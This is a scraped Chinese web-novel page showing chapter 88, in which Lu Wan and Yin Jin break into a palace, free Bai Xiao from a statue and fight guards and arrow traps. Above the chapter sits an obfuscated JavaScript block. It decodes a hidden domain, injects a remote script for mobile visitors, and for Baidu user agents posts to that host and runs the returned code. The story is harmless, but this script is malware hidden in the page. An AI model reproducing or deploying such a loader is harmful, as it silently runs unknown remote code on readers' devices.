妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第88章 二闯重宫(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

第88章 二闯重宫

且说卢绾、银锦和蒲萁三人一去, 至到北面山坳,在一处近水处按下云头。蒲萁立在水边,四下一看,把腰间的黑陶埙扯下, 贴在唇边吹奏。

埙声本该低沉, 可她这声却如金刀出鞘, 凌厉激越, 片刻以后便再听不见一点声响了。卢绾见与银锦的口哨极似,心想:“这果然他们池鱼的音令。”

不出片刻, 云台下水声沸动, 有五六尾乌锦尾在水中攒动。

蒲萁从怀中取出一个指头大的圆形玉珠盖盒, 向卢绾说:“你既不熟水性,化个小身形来, 我教乌锦尾携你进去。”

卢绾觉得甚好,依言化身入玉珠盒内。

蒲萁将之盖实, 捞起一头乌锦尾来, 将珠盒置入鱼腹, 又抛回水中。银锦跃过观台,轻身一个猛子扎入水中, 随着鱼群一沉,水面眨眼抹平,似镜面般一丝涟漪也无。

卢、银二人就此化了身形, 随乌锦尾伏水进了暗渠,直入北宫之内。那渠道本来宽大, 后来越走越窄, 到得尽处,通入了一口黑深石池中, 二人随乌锦尾潜至内池,便化回身形,冒水而出。

二人出外四周环顾,见是一个暗幽幽的石室,独有一盏壁灯在渠口旁,点着半寸残烛,那光也只够照亮身周一丈余地,别处依旧浓黑一片。

卢绾道:“这水路好,进来比上一回容易。”

银锦心情倒好,竟与他顽笑道:“你未见过捕蝇、擒鼠用的油瓮、套网吗?好进的,最是难出。”说着,就从怀内取出一个青玉盒来,揭开盖盒,拈出两丸。

他自己先将一丸含入口中,又将另一丸递给卢绾。

卢绾瞥了一眼,警惕地问:“什么丹丸?”

银锦说:“梦浮丸。之前曾误入了那香障阵,这回得防它一道。此丸的香息可催人清醒,将它压在舌底,可保不受异香侵神;但它入体后药效会致人沉眠昏睡,切记不可吞服了,明白吗?”

卢绾听这用法详尽,且银锦自己也用了一丸,不像哄骗他的,便点了点头,接过药丸,张口放入舌下。银锦收起药盒,又从束袖里掣出一枚青锦囊,贴身收在襟怀内。

卢绾眼尖,见那锦囊眼熟,认得是东唐君所授,又见他贴身而藏,想来是怕斗杀时误失此物,心中又不免打了一突。

他假意探问:“湖君又有什么暗令留给你?”

银锦瞪他一眼,微喝道:“不干你的事,别老多嘴乱问。”说罢,一转身行出石室。

那石室外是一条窄小而曲折的羊肠甬道,道内暗黑无光,每走两三步,便有一转弯,十分迂回曲折,二人走了五六十余转弯,才渐觉道路开明,前方似有微光。

再往前不远,到了偌大一个石厅。

那厅足有七八丈余开阔,天地间连洞孔也无,竟像个尽头处境。二人在四面墙面上一看,见北墙有一处石质细密,与旁边的略有不同,砖石并合处几乎一点缝隙也无,若不留神,极难发现是一道暗门。

又见那墙上有两盏兽口含烛的石灯,其中一盏口内的獠牙擦磨光滑,是平日碰动甚多所致。

银锦知里面必有机括,道声:“留神了。”把手一伸,去够那石兽口。卢绾怕他傲性轻心,误中机关,忙一把扯住说:“我来罢。”自己上了前,伸手在石兽口内寻摸。

那烛嵌在石兽舌上,其舌似能拨动,卢绾两指拈住,往外一提,只闻一阵铁链滑跌之声,那石门轰然退入地面,显出门后黑洞洞的一片地。

二人互看一看,二话不说,投身而入,只觉眼前猛然黑,转又豁然光亮起来,两人已立身在一个大殿的供台上。

四下一看,台前设了两座七星琉璃莲花灯,却没有供像。

卢绾心一惊,霍地回身,果然身后那门道早没了,只剩一堵厚厚的灰青砖石墙,他两手一扪墙面,那扇虚门也化实的,根本回进不去,登时心底大叫不好。

银锦见他一连串动作,似着了慌,便说:“不用找了,这种虚门只进不出。待救了人,正门大路直闯出去就是。”说罢,他已从容地跃下供台,在殿内举目四看。

卢绾跟在银锦后头,眉头深蹙着。他所修得术法,属正罡正阳路数,对阴气邪氛尤其敏锐,此刻他人往殿堂中一站,顶上如有黑云压头,地下似有淤泥胶脚,十分不适。

银锦却没事人一样,自如得似在家中,一路带行带看。

只见这大殿的东西墙下,列放着十数尊造像,等身大小,都是木刻而成,有的装彩崭新,有的却斑驳糟朽,有的无口鼻眼目,倒似未完工的,其神态服饰多不合规制,不像正神尊像的造式,倒似些偏神游仙塑像。

银锦说:“这些造像太也诡异。”手掐一道剑诀,猛朝其中一尊仙像点去。卢绾一惊,忙地擒住他手腕,压低声道:“若有机括,惊动了怎好?”

银锦道:“你都闯殿救人了,怎还如此畏首畏尾?这邪仙妖殿里的东西,有甚好怜惜?打坏便罢!”挣出手来,扯鞭就照神像一抽,鞭风霹雳一声,激得木屑四散弹飞,四五尊造像应声拦腰而断,咚咚隆隆摔跌在地。

银锦反手又是一鞭,砰地一声,将跌在地上的造像也打个粉碎。

怎么料这鞭风扫到旁边一尊无面像,呼地一声,竟似抽在了卢绾身上。卢绾突觉一痛,如刀斧加身,五脏颠荡,身躯猛震,一个立剑拄地,“哗”地吐将出浊血来。

银锦见状大惊,急地一伸手搀架住他,叫道:“你怎地……”

一语未竟,猛见无面神像身上装彩颜色尽褪,木身迅速朽烂,一点点脱落,竟从内剥脱出一个人来!那人双目紧阖,脸唇血色皆无,浑身未着寸缕,倒身跌将出来,不是白晓乃谁?

银锦哪料这神像是困人器具,还堂皇摆于殿之上,瞠目大惊,当即应手扬鞭,将白晓腰身卷住,往自己身边一带!卢绾见状早顾不得身上伤痛,抢将上前,长臂一伸,一把将人稳稳接入怀中,定抱住不放。

银锦心中警意大盛,暗忖:“既没陷阱机括,又没迷障阻碍,这样容易得着的人?只怕有假!”他急步上前一看,见卢绾护得要紧,不敢贸然出手相试,只掣住银鞭,严问:“快看看是正主真身吗?”

白晓跌伏他那怀里,双目微微睁着,却光彩全失,似浑无神在。卢绾见了心头一紧,那“双魄琉璃”也在他胸臆中阵阵发痛,不用探看,也知道必是正主真身,绝无花假,便对银锦急急点了点头道:“他身内有‘双魄琉璃’,错不了的……”

银锦闻言稍松下了心,却仍将信将疑地端量着他怀里人。

卢绾也不顾自己也挨了一鞭风,已将两指点在白晓眉心,将灵气运递过去,先稳他灵魄。

白晓被他灵气一触,在那怀中微微一挣,浑身暖热起来,眉头也舒展了一下,他双目微微睁了一睁,两瞳中仍混无神采,又昏睡过去了。

卢绾忙伸手扯过神像旁的一张盖案锦缎来,一通捆裹,将白晓全身包盖严实,一切收拾停当,他又紧紧抱了白晓一抱,长吁一气,惓惓瞧着怀中人脸庞,低声自责:“是我来得迟了,叫你难过许久。”

银锦立在一旁看着,见那白晓雪抟冰琢似的一个人,又看卢绾对其极尽温柔爱怜之态,是往日从未见过的,心中竟莫名不乐起来,茫然地想:“这人孱弱至此,自保犹不能够,到底有什么好的?让他喜欢成这样。”

卢绾似有所感,一抬眼间,正瞧见银锦一副神色阴沉不善的情状,定瞧着自己怀里人。他本就一路留心防备着银锦,此刻更不由警醒起来,暗忖:“莫不是东唐君还有什么使令与他?我须得留心了。”

他唯恐银锦别有歹意,便搤襟挽袖,急将白晓负在背上,又扯了另一张锦缎,应手撕做绦带,要将人扎缚稳定。

银锦瞧着他一举一动,心中明了,想了半晌,倏地从袖中掣出一段捆仙索来,两步走将上去。卢绾惊见他上前,立生戒备,一拦手威声喝止:“你做什么?”

银锦不耐道:“我能做什么?你也太不利索了。”一把拨开他的手,将捆仙索一绷,帮他将人缚定在背上。

卢绾低头端量银锦半晌,见他脸色如常,动作极是麻利自然,竟一丝歹意也无,才知自己错度了他,不由心生忏愧,好半晌,闷闷道出一声:“多谢了。”

银锦不知低头想着什么,默不接话,待那捆仙索拽扎停当,才用力在卢绾腰间一拍,低喝声:“好了,走罢。”他自霍地转身,迈大步奔出殿去。

卢绾快步跟上,不料脚刚踏过殿门,忽然听见白晓“啊”地厉呼一声,其声甚是惨痛。

卢绾心尖倏然紧缩,忙地后退两三步,避回殿内。银锦闻声大惊,也急奔而回,神色着紧地追问:“怎么回事?”

卢绾一手托定背后的人,正不知所以,就见银锦脸色骤地变了变,叫道:“别动他。”说着,一手捉过白晓手臂瞧了一眼,又拨开裹在白晓身上的缎布查看,只见白晓肩膀、手足处尽显出一小片一小片深黑的烧烫伤痕,似沾了岩浆铁水,不住漫开,刚生的伤口连着缎布也销溶了粘在一处。

卢、银二人见了俱觉惊骇,举目相觑一眼,心里一下明白过来了:这大殿正就是那护魂阵法的界限了,一旦离阵出去,便是那白晓身销之时。

卢绾刚才更得回了人,只管惊喜,竟却忘了有护魂阵法此节,此刻才忙取出东唐君给的“和释丹”来,捏碎蜡封,让白晓含于口内。

银锦见卢绾忙活一阵,他私下则盘算着别的事,四下环视那大殿一番,待看到殿顶时,果然见顶上有一瓦角微泛紫光,正是那阵眼所在。

他皱了皱眉,当机立断就对卢绾说:“你们在这里等我罢,我先出去探路。待出路无虞,我给你发音信,你再将人带出来,这样更能保万无一失。”

卢绾听了,默然略略思忖,却摇头道:“这样更不妥当了。”银锦奇道:“怎么说?”

卢绾说:“头宗,你我不熟地势却兵分两路,东驰西击,若有人分袭两头,逐个击破,我们必然不好抵挡;次则,这一出去前路机关不知轻重,你一人探路恐不能支应,若你出了事故,我更难自保。依我看,还是你我一同去了为妙。”

银锦沉思片刻,也觉有理,但有觉有些难处,便朝白晓那一仰下巴,说道:“你若把他放下,回头失了人,这事可不赖我。”

卢绾好笑道:“谁说要将他放下?我带着他一起去,自然不赖你。”

银锦皱了皱眉说:“他一旦出了此殿,‘和释丹’只能保他两个时辰。倘或我们被事故耽搁了,又或寻不着出路,两个时辰我耗得起,你跟他可耗不起。”

卢绾笃定道:“有我协同,两个时辰足够。”

银锦凝睛瞧着他,又看了看白晓,思量半晌,到底点了点头:“好,但凡你肯信我,我必保他毫发不损出这灵修山。”

卢绾立刻道:“那这事便全仰仗小公子你了。”回手又往白晓腰背一搂,柔唤了一声:“阿晓,还好么?”白晓浑无知觉,只伏在他背后微微轻吟,发出惙然之声,一句话也不能应。

二人如此说定了,银锦当即朝殿顶一弹指风,只听“噼啪”一声,紫光飞溅,已将那阵眼打得飞碎,另一手已扯住卢绾,带着一股破釜沉舟的气势,直闯出殿去。

两人一路飞赶,到了首庭,见院中景致偌大,花树寥落,只有两处极大的叠石假山。

那山体石色青白,好似叠浪翻云,两座山石之间有一条青砖路,道旁七八座石灯装摆,过了这庭院,便可望南门前一面绝大的照壁。

二人一步不敢停,瞬即望南奔去,及到庭中,忽闻一个天音降来,喝问:“来者何人?公然擅闯仙府!”

一瞥眼,就见那守殿的太寻、太周当空显出身形来。那两人衣鹤氅,束混元髻,一手托尘拂,一手持法绳,合着身后八名紫衣道童,踏风落将下来。

八名道童一下散作周圆,分立八方定位,将三人围定庭中。

卢绾三千年来都灵修山修为,也常在这灵毓宫各处出入,见眼前人物装束威严,神目凶厉,不似一般应奉童子,心知一旦交手,绝不好对付,便想:“能不动手则不动手,先拿话跟他们周旋一番试试罢。”

一思及此,他便上前两步,向太寻、太周恭敬地一抱拳,凛声告道:“诸位!我乃九天敕命于于灵修山定守天宝的白虎。今日有人擅闯天吴镇阵,我为追拿犯人,误入此处,不承望搅扰了灵宫禁地,乞望众位镇殿童子宽宥,恕罪则个,开个道来罢?”言毕,抱拳又拜。

太寻冷冷一笑,严立不让,横眉威喝:“我等奉命守宫镇殿,凡入此地者,只认玉宇天君符令。有令放行,无令挡杀。尔等是有符令见示,还是没有?”

卢绾张口就扯一个大谎:“当然有!你过来,我呈给你看。”

太寻并不上当,冷声叱喝:“我看你没有!”单手拈诀,尘拂唰唰几下当空连挥,数道金罡正气,直射卢绾面门。

银锦见对方抢攻在先,便不客气,长鞭狠地迎面一抽,将那罡气劈成一阵金粉漩荡,扭头就冲卢绾叱喝:“我们走我们的!与他们费什么话?”

他说时,银鞭已向斜刺里一甩,呼啸一声,鞭风已将南角、东南角两个紫衣道震跌开去。他自一手捉过卢绾臂膀,带着人腾身跃起,踏过众围,直奔宫门。

太周从后清喝一声:“大胆狂徒,哪里走?”尘拂打一圆象,望前一拂,一众紫衣童子,登时消散不见。

卢、银二人正向着南门急奔,此刻闻得一声异响,似机括上簧之声,竟不知从哪处传出。

卢绾对伏机一向敏锐,心间如又针刺,当即唬㘎一声:“当心!”他话音刚落,飕飕两声,见金光闪动处,两枚箭矢已陡然射道眼前。

那箭发得既快又猛,竟似贴着卢绾身旁射发的,一及颈喉,一达眼目。幸而卢绾听觉敏锐,又兼之身法迅捷,那一瞬间心念未动,身手已发,猛将青锋剑鞘倒上一削,“呛啷”两声,将金箭劈断两截,跌落在地。

怎么料这头箭簇刚落,破风之声又倏然四起,猛有八面金光飞来。

银锦急嚷一声:“卢绾,这里有伏机,留神!”说时把鞭一掣,围着身周一阵飞卷急挥,好似一个大大的银环将三人罩定,八面暗箭“锵锵”击到鞭风上,他手腕一个猛抖,长鞭抡出一个圆相,往外一甩,将所卷箭矢倒射而回,叮叮叮当当当数十声清响,密密麻麻的金矢尽钉没在道旁的一座山石上。

卢绾急退一步,与银锦并背而立。两人俱浑身警备,锐目四下环顾,都在急寻那伏箭发出处。只是这旷地空庭,既无天花、坎墙,又无暗窗、洞孔,实不知这箭簇从何处射发。

卢绾侧头问:“何处来箭,你见着不曾?”

银锦答道:“见不着。”他顿了一顿,又说:“不用问了,试一试便知道,我去探阵,你可看好!”言讫,一抖袖袂,挽鞭纵身而出,飒然落回庭园正当中。

卢绾才知他要以身诱发那机遘,心猛地提到嗓眼,想道:“这还不知阵势深浅呢!以身犯险,哪里使得?”口上急呼一声:“银锦,快回来!”

他那“来”字方出口,已闻八面飞蝗声动,震耳欲聋!箭矢倏然望银锦射去,齐刷刷、密麻麻好似一面雪墙。

银锦俨然不惧,运劲抖手,长鞭陡然间抡圆,飞快挥舞,一时间白影重重,好似一张银色大网,将银锦自己裹藏在当中,四方箭雨一触鞭网,如卵触石,扑楞楞打个零碎飞溅,那一张银网直是针插不进,水泼不透。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间